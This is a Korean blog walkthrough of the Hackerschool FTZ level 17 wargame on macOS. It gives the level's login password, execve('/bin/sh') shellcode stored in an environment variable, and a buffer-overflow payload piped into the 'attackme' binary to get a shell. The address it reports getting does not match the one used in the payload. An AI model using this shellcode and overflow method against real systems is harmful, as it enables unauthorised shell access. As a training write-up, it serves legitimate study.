Security&Hacking/시스템 해킹

해커스쿨 ftz level17 (macOS)

Dior2ky 2020. 1. 19. 01:57
반응형

해커스쿨 ftz Level17

MacOS에서 푸는 해커스쿨 ftz 

해커스쿨 ftz level17 단계이다.

먼저 ftz서버를 실행한다.

서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.

 

Mac의 터미널을 열어 서버에 접속합니다.

명령어는 

ssh -c aes128-cbc level17@서버ip

라고 입력합니다.

Id: level17, pw: king poetic 로 로그인을 하고 파일을 확인하였다.

hint를 확인하니 이전단계의 코드에서 shell함수가 사라졌다.

쉘코드를 환경변수를 이용하여 사용해야겠다.

gdb를 사용하였다.

Main함수를 보니 15바이트의 nop코드 후 shell코드를 넣으면 될 것 같다.

$export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

 

$gcc getenv.c -o getenv

 

$./getenv

순서대로 입력하여 쉘코드를 환경변수에 입력하고 0xbffffe45의 주소값을 얻었다.

attackme가 있는 디렉토리로 돌아와 얻은 주소값이 포함된

(python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme

명령어를 입력하였다.

입력값을 받도록 되었고 my-pass를 입력하여 level18의 패스워드를 얻었다.

 

 

끝.

반응형

'Security&Hacking > 시스템 해킹' 카테고리의 다른 글

해커스쿨 ftz level19 (macOS)  (0) 2020.01.19
해커스쿨 ftz level18 (macOS)  (0) 2020.01.19
해커스쿨 ftz level16 (macOS)  (0) 2020.01.19
해커스쿨 ftz level15 (macOS)  (0) 2020.01.19
해커스쿨 ftz level14 (macOS)  (0) 2020.01.19